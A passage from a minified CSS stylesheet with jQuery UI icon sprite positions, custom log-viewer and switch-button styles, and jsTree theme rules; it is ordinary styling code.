-64px}.ui-icon-arrowrefresh-1-n{background-position:-144px -64px}.ui-icon-arrowrefresh-1-e{background-position:-160px -64px}.ui-icon-arrowrefresh-1-s{background-position:-176px -64px}.ui-icon-arrow-4{background-position:0 -80px}.ui-icon-arrow-4-diag{background-position:-16px -80px}.ui-icon-extlink{background-position:-32px -80px}.ui-icon-newwin{background-position:-48px -80px}.ui-icon-refresh{background-position:-64px -80px}.ui-icon-shuffle{background-position:-80px -80px}.ui-icon-transfer-e-w{background-position:-96px -80px}.ui-icon-transferthick-e-w{background-position:-112px -80px}.ui-icon-folder-collapsed{background-position:0 -96px}.ui-icon-folder-open{background-position:-16px -96px}.ui-icon-document{background-position:-32px -96px}.ui-icon-document-b{background-position:-48px -96px}.ui-icon-note{background-position:-64px -96px}.ui-icon-mail-closed{background-position:-80px -96px}.ui-icon-mail-open{background-position:-96px -96px}.ui-icon-suitcase{background-position:-112px -96px}.ui-icon-comment{background-position:-128px -96px}.ui-icon-person{background-position:-144px -96px}.ui-icon-print{background-position:-160px -96px}.ui-icon-trash{background-position:-176px -96px}.ui-icon-locked{background-position:-192px -96px}.ui-icon-unlocked{background-position:-208px -96px}.ui-icon-bookmark{background-position:-224px -96px}.ui-icon-tag{background-position:-240px -96px}.ui-icon-home{background-position:0 -112px}.ui-icon-flag{background-position:-16px -112px}.ui-icon-calendar{background-position:-32px -112px}.ui-icon-cart{background-position:-48px -112px}.ui-icon-pencil{background-position:-64px -112px}.ui-icon-clock{background-position:-80px -112px}.ui-icon-disk{background-position:-96px -112px}.ui-icon-calculator{background-position:-112px -112px}.ui-icon-zoomin{background-position:-128px -112px}.ui-icon-zoomout{background-position:-144px -112px}.ui-icon-search{background-position:-160px -112px}.ui-icon-wrench{background-position:-176px -112px}.ui-icon-gear{background-position:-192px -112px}.ui-icon-heart{background-position:-208px -112px}.ui-icon-star{background-position:-224px -112px}.ui-icon-link{background-position:-240px -112px}.ui-icon-cancel{background-position:0 -128px}.ui-icon-plus{background-position:-16px -128px}.ui-icon-plusthick{background-position:-32px -128px}.ui-icon-minus{background-position:-48px -128px}.ui-icon-minusthick{background-position:-64px -128px}.ui-icon-close{background-position:-80px -128px}.ui-icon-closethick{background-position:-96px -128px}.ui-icon-key{background-position:-112px -128px}.ui-icon-lightbulb{background-position:-128px -128px}.ui-icon-scissors{background-position:-144px -128px}.ui-icon-clipboard{background-position:-160px -128px}.ui-icon-copy{background-position:-176px -128px}.ui-icon-contact{background-position:-192px -128px}.ui-icon-image{background-position:-208px -128px}.ui-icon-video{background-position:-224px -128px}.ui-icon-script{background-position:-240px -128px}.ui-icon-alert{background-position:0 -144px}.ui-icon-info{background-position:-16px -144px}.ui-icon-notice{background-position:-32px -144px}.ui-icon-help{background-position:-48px -144px}.ui-icon-check{background-position:-64px -144px!important}.ui-icon-bullet{background-position:-80px -144px}.ui-icon-radio-on{background-position:-96px -144px}.ui-icon-radio-off{background-position:-112px -144px}.ui-icon-pin-w{background-position:-128px -144px}.ui-icon-pin-s{background-position:-144px -144px}.ui-icon-play{background-position:0 -160px}.ui-icon-pause{background-position:-16px -160px}.ui-icon-seek-next{background-position:-32px -160px}.ui-icon-seek-prev{background-position:-48px -160px}.ui-icon-seek-end{background-position:-64px -160px}.ui-icon-seek-start{background-position:-80px -160px}.ui-icon-seek-first{background-position:-80px -160px}.ui-icon-stop{background-position:-96px -160px}.ui-icon-eject{background-position:-112px -160px}.ui-icon-volume-off{background-position:-128px -160px}.ui-icon-volume-on{background-position:-144px -160px}.ui-icon-power{background-position:0 -176px}.ui-icon-signal-diag{background-position:-16px -176px}.ui-icon-signal{background-position:-32px -176px}.ui-icon-battery-0{background-position:-48px -176px}.ui-icon-battery-1{background-position:-64px -176px}.ui-icon-battery-2{background-position:-80px -176px}.ui-icon-battery-3{background-position:-96px -176px}.ui-icon-circle-plus{background-position:0 -192px}.ui-icon-circle-minus{background-position:-16px -192px}.ui-icon-circle-close{background-position:-32px -192px}.ui-icon-circle-triangle-e{background-position:-48px -192px}.ui-icon-circle-triangle-s{background-position:-64px -192px}.ui-icon-circle-triangle-w{background-position:-80px -192px}.ui-icon-circle-triangle-n{background-position:-96px -192px}.ui-icon-circle-arrow-e{background-position:-112px -192px}.ui-icon-circle-arrow-s{background-position:-128px -192px}.ui-icon-circle-arrow-w{background-position:-144px -192px}.ui-icon-circle-arrow-n{background-position:-160px -192px}.ui-icon-circle-zoomin{background-position:-176px -192px}.ui-icon-circle-zoomout{background-position:-192px -192px}.ui-icon-circle-check{background-position:-208px -192px}.ui-icon-circlesmall-plus{background-position:0 -208px}.ui-icon-circlesmall-minus{background-position:-16px -208px}.ui-icon-circlesmall-close{background-position:-32px -208px}.ui-icon-squaresmall-plus{background-position:-48px -208px}.ui-icon-squaresmall-minus{background-position:-64px -208px}.ui-icon-squaresmall-close{background-position:-80px -208px}.ui-icon-grip-dotted-vertical{background-position:0 -224px}.ui-icon-grip-dotted-horizontal{background-position:-16px -224px}.ui-icon-grip-solid-vertical{background-position:-32px -224px}.ui-icon-grip-solid-horizontal{background-position:-48px -224px}.ui-icon-gripsmall-diagonal-se{background-position:-64px -224px}.ui-icon-grip-diagonal-se{background-position:-80px -224px}.ui-corner-all,.ui-corner-top,.ui-corner-left,.ui-corner-tl{-webkit-border-top-left-radius:5px}.ui-corner-all,.ui-corner-top,.ui-corner-right,.ui-corner-tr{-webkit-border-top-right-radius:5px}.ui-corner-all,.ui-corner-bottom,.ui-corner-left,.ui-corner-bl{-webkit-border-bottom-left-radius:5px}.ui-corner-all,.ui-corner-bottom,.ui-corner-right,.ui-corner-br{-webkit-border-bottom-right-radius:5px}.ui-widget-overlay{background:#aaa;opacity:.3;filter:Alpha(Opacity=30)}.ui-widget-shadow{-webkit-box-shadow:-8px -8px 8px #aaa}.hourglass{background:url(assets/jqueryui/redmond/images/hourglass-dark-blue.gif)}.icon{vertical-align:middle!important;margin-top:-.25em!important;margin-right:.25em!important;height:16px!important;width:16px!important;background-image:url(assets/jqueryui/redmond/images/ui-icons_217bc0_256x240.png)!important}.progress-val{position:absolute;font-weight:700;color:#ecf3f9;text-shadow:-1px -1px 0 #2a6089,0 -1px 0 #2a6089,1px -1px 0 #2a6089,1px 0 0 #2a6089,1px 1px 0 #2a6089,0 1px 0 #2a6089,-1px 1px 0 #2a6089,-1px 0 0 #2a6089;width:88.5%;text-align:center;vertical-align:middle;height:10%;padding:5px 0 0}.header-label{font-size:10pt;white-space:pre}.header-label.off{color:#f68923;text-shadow:-1px -1px 0 #2a6089,0 -1px 0 #2a6089,1px -1px 0 #2a6089,1px 0 0 #2a6089,1px 1px 0 #2a6089,0 1px 0 #2a6089,-1px 1px 0 #2a6089,-1px 0 0 #2a6089}.header-label.on{color:#ecf3f9;text-shadow:-1px -1px 0 #2a6089,0 -1px 0 #2a6089,1px -1px 0 #2a6089,1px 0 0 #2a6089,1px 1px 0 #2a6089,0 1px 0 #2a6089,-1px 1px 0 #2a6089,-1px 0 0 #2a6089}.switch-button-label{float:left;font-size:10pt;cursor:pointer;white-space:pre;float:left;font-size:10pt;cursor:pointer;white-space:pre}.switch-button-label.off{color:#f68923;text-shadow:-1px -1px 0 #2a6089,0 -1px 0 #2a6089,1px -1px 0 #2a6089,1px 0 0 #2a6089,1px 1px 0 #2a6089,0 1px 0 #2a6089,-1px 1px 0 #2a6089,-1px 0 0 #2a6089}.switch-button-label.on{color:#ecf3f9;text-shadow:-1px -1px 0 #2a6089,0 -1px 0 #2a6089,1px -1px 0 #2a6089,1px 0 0 #2a6089,1px 1px 0 #2a6089,0 1px 0 #2a6089,-1px 1px 0 #2a6089,-1px 0 0 #2a6089}.switch-button-background{float:left;position:relative;background:#d8e7f3;border:2px solid #4297d7;margin:1px 10px;-webkit-border-radius:6px;cursor:pointer}.switch-button-button{position:absolute;left:-1px;top:-1px;background:#5c9ccc url(assets/jqueryui/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png) 50% 50% repeat-x;border:1px solid #4297d7}.switch-button-button.on{-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:6px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:6px}.switch-button-button.off{-webkit-border-top-left-radius:6px;-webkit-border-top-right-radius:0;-webkit-border-bottom-left-radius:6px;-webkit-border-bottom-right-radius:0}.intro-framed-textbox{border:1px solid #5c9ccc;-webkit-border-radius:4px;font-size:16px;text-align:center;font-weight:700;width:auto;margin:2em 5em 1em;padding:.2em}.log-info{font-size:14px;font-weight:700;color:#000!important}.log-warning{font-size:14px;font-weight:700;color:#f90!important}.log-error{font-size:14px;font-weight:700;color:#c00!important}.log-debug{font-size:14px;font-weight:700;color:#036!important}.dropdown{position:relative;display:inline-block}.dropdown-content{display:none;position:absolute;border:1px solid #a6c9e2;background:#fcfdfd url(assets/jqueryui/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png) 50% bottom repeat-x;color:#036;min-width:350px;-webkit-border-radius:4px;-webkit-box-shadow:0 8px 16px 0 rgba(0,0,0,.2);padding:12px 16px;z-index:1}.dropdown:hover .dropdown-content{display:block}.icon-triangle{background-image:url(assets/jqueryui/redmond/images/ui-icons_217bc0_256x240.png);background-position:-32px -16px}.dropdown:hover .icon-triangle{background-position:-48px -16px}.dd-centre{position:absolute;left:120px}.dd-right{float:right}.strict{font-size:12px;font-weight:700;color:#000}.switcher{position:relative;left:20%}.log-options{position:absolute;top:70px;width:auto;left:12%;float:right;width:76%;padding:.5em 0 1em}.logoptions{-webkit-border-top-left-radius:12px;-webkit-border-top-right-radius:12px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:1px solid #4297d7;font-size:12px;text-align:center;font-weight:700}.btlogoptions{border:1px solid #4297d7;font-size:12px;text-align:center;font-weight:700}.window{border:2px solid #4297d7;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0;margin:0;height:210px;width:100%;min-width:100px;max-height:210px}.window-300{border:2px solid #4297d7;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0;margin:0;height:210px;width:300px;min-width:300px;max-height:210px}.window-250{border:2px solid #4297d7;-webkit-border-radius:12px;table-layout:fixed;position:relative;word-break:break-all;word-wrap:break-word;padding:0;margin:0;height:auto;width:250px;min-width:250px;max-height:250px}.window-header{-webkit-border-top-left-radius:10px;-webkit-border-top-right-radius:10px;-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;border:0;padding:2px 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.bottom-border{border-bottom:1px solid #4297d7}.window-content{-webkit-border-bottom-left-radius:0;-webkit-border-bottom-right-radius:0;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px;height:auto;width:auto;overflow:hidden}.window-content-top{-webkit-border-bottom-left-radius:8px;-webkit-border-bottom-right-radius:8px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:10px 10px 5px;height:auto;width:auto;overflow:hidden}.window-bottom{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0 10px;height:25px;width:auto;max-height:45px;overflow:hidden}.window-bottom-small{-webkit-border-bottom-left-radius:10px;-webkit-border-bottom-right-radius:10px;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;border:0;padding:0;height:5px;width:auto;max-height:5px;min-height:5px;overflow:hidden}.table-header{width:100%}.txt-log{padding:0 5px;overflow-wrap:break-word}.cont-log{min-height:540px;max-height:540px;position:relative;height:78%;margin:10px 25px 15px;padding:10px 20px;-webkit-border-radius:6px;border:0}.pre-loader{background:#aaa;position:fixed;top:0;bottom:0;left:0;right:0;width:100%;height:100%;z-index:100;opacity:.7}.jstree-node,.jstree-children,.jstree-container-ul{display:block;margin:0;padding:0;list-style-type:none;list-style-image:none}.jstree-node{white-space:nowrap}.jstree-anchor{display:inline-block;color:#000;white-space:nowrap;padding:0 4px 0 1px;margin:0;vertical-align:top}.jstree-anchor:focus{outline:0}.jstree-anchor,.jstree-anchor:link,.jstree-anchor:visited,.jstree-anchor:hover,.jstree-anchor:active{text-decoration:none;color:inherit;-webkit-border-radius:2px}.jstree-icon{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-icon:empty{display:inline-block;text-decoration:none;margin:0;padding:0;vertical-align:top;text-align:center}.jstree-ocl{cursor:pointer}.jstree-leaf>.jstree-ocl{cursor:default}.jstree .jstree-open>.jstree-children{display:block}.jstree .jstree-closed>.jstree-children,.jstree .jstree-leaf>.jstree-children{display:none}.jstree-anchor>.jstree-themeicon{margin-right:2px}.jstree-no-icons .jstree-themeicon,.jstree-anchor>.jstree-themeicon-hidden{display:none}.jstree-hidden,.jstree-node.jstree-hidden{display:none}.jstree-rtl .jstree-anchor{padding:0 1px 0 4px}.jstree-rtl .jstree-anchor>.jstree-themeicon{margin-left:2px;margin-right:0}.jstree-rtl .jstree-node{margin-left:0}.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-wholerow-ul{position:relative;display:inline-block;min-width:100%}.jstree-wholerow-ul .jstree-leaf>.jstree-ocl{cursor:pointer}.jstree-wholerow-ul .jstree-anchor,.jstree-wholerow-ul .jstree-icon{position:relative}.jstree-wholerow-ul .jstree-wholerow{width:100%;cursor:pointer;position:absolute;left:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.jstree-contextmenu .jstree-anchor{-webkit-user-select:none;-webkit-touch-callout:none}.vakata-context{display:none}.vakata-context,.vakata-context ul{margin:0;padding:2px;position:absolute;background:#f5f5f5;border:1px solid #979797;-webkit-box-shadow:2px 2px 2px #999;box-shadow:2px 2px 2px #999}.vakata-context ul{list-style:none;left:100%;margin-top:-2.7em;margin-left:-4px}.vakata-context .vakata-context-right ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context li{list-style:none}.vakata-context li>a{display:block;padding:0 2em;text-decoration:none;width:auto;color:#000;white-space:nowrap;line-height:2.4em;text-shadow:1px 1px 0 #fff;-webkit-border-radius:1px;border-radius:1px}.vakata-context li>a:hover{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAIORI4JlrqN1oMSnmmZDQUAOw==);background-position:right center;background-repeat:no-repeat}.vakata-context li>a:focus{outline:0}.vakata-context .vakata-context-hover>a{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context .vakata-context-separator>a,.vakata-context .vakata-context-separator>a:hover{background:#fff;border:0;border-top:1px solid #e2e3e3;height:1px;min-height:1px;max-height:1px;padding:0;margin:0 0 0 2.4em;border-left:1px solid #e0e0e0;text-shadow:0 0 0 transparent;-webkit-box-shadow:0 0 0 transparent;box-shadow:0 0 0 transparent;-webkit-border-radius:0;border-radius:0}.vakata-context .vakata-contextmenu-disabled a,.vakata-context .vakata-contextmenu-disabled a:hover{color:silver;background-color:transparent;border:0;box-shadow:0 0 0}.vakata-context .vakata-contextmenu-disabled>a>i{filter:grayscale(100%)}.vakata-context li>a>i{text-decoration:none;display:inline-block;width:2.4em;height:2.4em;background:transparent;margin:0 0 0 -2em;vertical-align:top;text-align:center;line-height:2.4em}.vakata-context li>a>i:empty{width:2.4em;line-height:2.4em}.vakata-context li>a .vakata-contextmenu-sep{display:inline-block;width:1px;height:2.4em;background:#fff;margin:0 .5em 0 0;border-left:1px solid #e2e3e3}.vakata-context .vakata-contextmenu-shortcut{font-size:.8em;color:silver;opacity:.5;display:none}.vakata-context-rtl ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context-rtl li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAINjI+AC7rWHIsPtmoxLAA7);background-position:left center;background-repeat:no-repeat}.vakata-context-rtl .vakata-context-separator>a{margin:0 2.4em 0 0;border-left:0;border-right:1px solid #e2e3e3}.vakata-context-rtl .vakata-context-left ul{right:auto;left:100%;margin-left:-4px;margin-right:auto}.vakata-context-rtl li>a>i{margin:0 -2em 0 0}.vakata-context-rtl li>a .vakata-contextmenu-sep{margin:0 0 0 .5em;border-left-color:#fff;background:#e2e3e3}#jstree-marker{position:absolute;top:0;left:0;margin:-5px 0 0;padding:0;border-right:0;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid;width:0;height:0;font-size:0;line-height:0}#jstree-dnd{line-height:16px;margin:0;padding:4px}#jstree-dnd .jstree-icon,#jstree-dnd .jstree-copy{display:inline-block;text-decoration:none;margin:0 2px 0 0;padding:0;width:16px;height:16px}#jstree-dnd .jstree-ok{background:green}#jstree-dnd .jstree-er{background:red}#jstree-dnd .jstree-copy{margin:0 2px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-repeat:no-repeat;background-color:transparent}.jstree-default .jstree-anchor,.jstree-default .jstree-animated,.jstree-default .jstree-wholerow{transition:background-color 0.15s,box-shadow .15s}.jstree-default .jstree-hovered{background:#e7f4f9;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #ccc;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-context{background:#e7f4f9;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #ccc;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-clicked{background:#beebff;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #999;box-shadow:inset 0 0 1px #999}.jstree-default .jstree-no-icons .jstree-anchor>.jstree-themeicon{display:none}.jstree-default .jstree-disabled{background:transparent;color:#666}.jstree-default .jstree-disabled.jstree-hovered{background:transparent;box-shadow:none}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-disabled>.jstree-icon{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default .jstree-search{font-style:italic;color:#8b0000;font-weight:700}.jstree-default .jstree-no-checkboxes .jstree-checkbox{display:none!important}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked{background:transparent;box-shadow:none}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked.jstree-hovered{background:#e7f4f9}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked{background:transparent}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked.jstree-wholerow-hovered{background:#e7f4f9}.jstree-default>.jstree-striped{min-width:100%;display:inline-block;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAkCAMAAAB/qqA+AAAABlBMVEUAAAAAAAClZ7nPAAAAAnRSTlMNAMM9s3UAAAAXSURBVHjajcEBAQAAAIKg/H/aCQZ70AUBjAATb6YPDgAAAABJRU5ErkJggg==) left top repeat}.jstree-default>.jstree-wholerow-ul .jstree-hovered,.jstree-default>.jstree-wholerow-ul .jstree-clicked{background:transparent;-webkit-box-shadow:none;box-shadow:none;-webkit-border-radius:0;border-radius:0}.jstree-default .jstree-wholerow{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.jstree-default .jstree-wholerow-hovered{background:#e7f4f9}.jstree-default .jstree-wholerow-clicked{background:#beebff;background:-webkit-linear-gradient(top,#beebff 0%,#a8e4ff 100%);background:linear-gradient(to bottom,#beebff 0%,#a8e4ff 100%)}.jstree-default .jstree-node{min-height:24px;line-height:24px;margin-left:24px;min-width:24px}.jstree-default .jstree-anchor{line-height:24px;height:24px}.jstree-default .jstree-icon{width:24px;height:24px;line-height:24px}.jstree-default .jstree-icon:empty{width:24px;height:24px;line-height:24px}.jstree-default.jstree-rtl .jstree-node{margin-right:24px}.jstree-default .jstree-wholerow{height:24px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-image:url(assets/jqueryui/redmond/images/32px.png)}.jstree-default .jstree-node{background-position:-292px -4px;background-repeat:repeat-y}.jstree-default .jstree-last{background:transparent}.jstree-default .jstree-open>.jstree-ocl{background-position:-132px -4px}.jstree-default .jstree-closed>.jstree-ocl{background-position:-100px -4px}.jstree-default .jstree-leaf>.jstree-ocl{background-position:-68px -4px}.jstree-default .jstree-themeicon{background-position:-260px -4px}.jstree-default>.jstree-no-dots .jstree-node,.jstree-default>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -4px}.jstree-default>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -4px}.jstree-default .jstree-disabled{background:transparent}.jstree-default .jstree-disabled.jstree-hovered{background:transparent}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-checkbox{background-position:-164px -4px}.jstree-default .jstree-checkbox:hover{background-position:-164px -36px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default .jstree-checked>.jstree-checkbox{background-position:-228px -4px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default .jstree-checked>.jstree-checkbox:hover{background-position:-228px -36px}.jstree-default .jstree-anchor>.jstree-undetermined{background-position:-196px -4px}.jstree-default .jstree-anchor>.jstree-undetermined:hover{background-position:-196px -36px}.jstree-default .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default>.jstree-striped{background-size:auto 48px}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default.jstree-rtl .jstree-open>.jstree-ocl{background-position:-132px -36px}.jstree-default.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-100px -36px}.jstree-default.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-68px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -36px}.jstree-default .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/redmond/images/throbber.gif) center center no-repeat}.jstree-default .jstree-file{background:url(assets/jqueryui/redmond/images/32px.png) -100px -68px no-repeat}.jstree-default .jstree-folder{background:url(assets/jqueryui/redmond/images/32px.png) -260px -4px no-repeat}.jstree-default>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default{line-height:24px;padding:0 4px}#jstree-dnd.jstree-default .jstree-ok,#jstree-dnd.jstree-default .jstree-er{background-image:url(assets/jqueryui/redmond/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default i{background:transparent;width:24px;height:24px;line-height:24px}#jstree-dnd.jstree-default .jstree-ok{background-position:-4px -68px}#jstree-dnd.jstree-default .jstree-er{background-position:-36px -68px}.jstree-default .jstree-ellipsis{overflow:hidden}.jstree-default .jstree-ellipsis .jstree-anchor{width:calc(100% - 29px);text-overflow:ellipsis;overflow:hidden}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==)}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default-small .jstree-node{min-height:18px;line-height:18px;margin-left:18px;min-width:18px}.jstree-default-small .jstree-anchor{line-height:18px;height:18px}.jstree-default-small .jstree-icon{width:18px;height:18px;line-height:18px}.jstree-default-small .jstree-icon:empty{width:18px;height:18px;line-height:18px}.jstree-default-small.jstree-rtl .jstree-node{margin-right:18px}.jstree-default-small .jstree-wholerow{height:18px}.jstree-default-small .jstree-node,.jstree-default-small .jstree-icon{background-image:url(assets/jqueryui/redmond/images/32px.png)}.jstree-default-small .jstree-node{background-position:-295px -7px;background-repeat:repeat-y}.jstree-default-small .jstree-last{background:transparent}.jstree-default-small .jstree-open>.jstree-ocl{background-position:-135px -7px}.jstree-default-small .jstree-closed>.jstree-ocl{background-position:-103px -7px}.jstree-default-small .jstree-leaf>.jstree-ocl{background-position:-71px -7px}.jstree-default-small .jstree-themeicon{background-position:-263px -7px}.jstree-default-small>.jstree-no-dots .jstree-node,.jstree-default-small>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -7px}.jstree-default-small>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -7px}.jstree-default-small .jstree-disabled{background:transparent}.jstree-default-small .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-small .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-small .jstree-checkbox{background-position:-167px -7px}.jstree-default-small .jstree-checkbox:hover{background-position:-167px -39px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-small .jstree-checked>.jstree-checkbox{background-position:-231px -7px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-small .jstree-checked>.jstree-checkbox:hover{background-position:-231px -39px}.jstree-default-small .jstree-anchor>.jstree-undetermined{background-position:-199px -7px}.jstree-default-small .jstree-anchor>.jstree-undetermined:hover{background-position:-199px -39px}.jstree-default-small .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-small>.jstree-striped{background-size:auto 36px}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-small.jstree-rtl .jstree-open>.jstree-ocl{background-position:-135px -39px}.jstree-default-small.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-103px -39px}.jstree-default-small.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-71px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -39px}.jstree-default-small .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-small>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/redmond/images/throbber.gif) center center no-repeat}.jstree-default-small .jstree-file{background:url(assets/jqueryui/redmond/images/32px.png) -103px -71px no-repeat}.jstree-default-small .jstree-folder{background:url(assets/jqueryui/redmond/images/32px.png) -263px -7px no-repeat}.jstree-default-small>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-small{line-height:18px;padding:0 4px}#jstree-dnd.jstree-default-small .jstree-ok,#jstree-dnd.jstree-default-small .jstree-er{background-image:url(assets/jqueryui/redmond/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-small i{background:transparent;width:18px;height:18px;line-height:18px}#jstree-dnd.jstree-default-small .jstree-ok{background-position:-7px -71px}#jstree-dnd.jstree-default-small .jstree-er{background-position:-39px -71px}.jstree-default-small .jstree-ellipsis{overflow:hidden}.jstree-default-small .jstree-ellipsis .jstree-anchor{width:calc(100% - 23px);text-overflow:ellipsis;overflow:hidden}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAACAQMAAABv1h6PAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMHBgAAiABBI4gz9AAAAABJRU5ErkJggg==)}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-large .jstree-node{min-height:32px;line-height:32px;margin-left:32px;min-width:32px}.jstree-default-large .jstree-anchor{line-height:32px;height:32px}.jstree-default-large .jstree-icon{width:32px;height:32px;line-height:32px}.jstree-default-large .jstree-icon:empty{width:32px;height:32px;line-height:32px}.jstree-default-large.jstree-rtl .jstree-node{margin-right:32px}.jstree-default-large .jstree-wholerow{height:32px}.jstree-default-large .jstree-node,.jstree-default-large .jstree-icon{background-image:url(assets/jqueryui/redmond/images/32px.png)}.jstree-default-large .jstree-node{background-position:-288px 0;background-repeat:repeat-y}.jstree-default-large 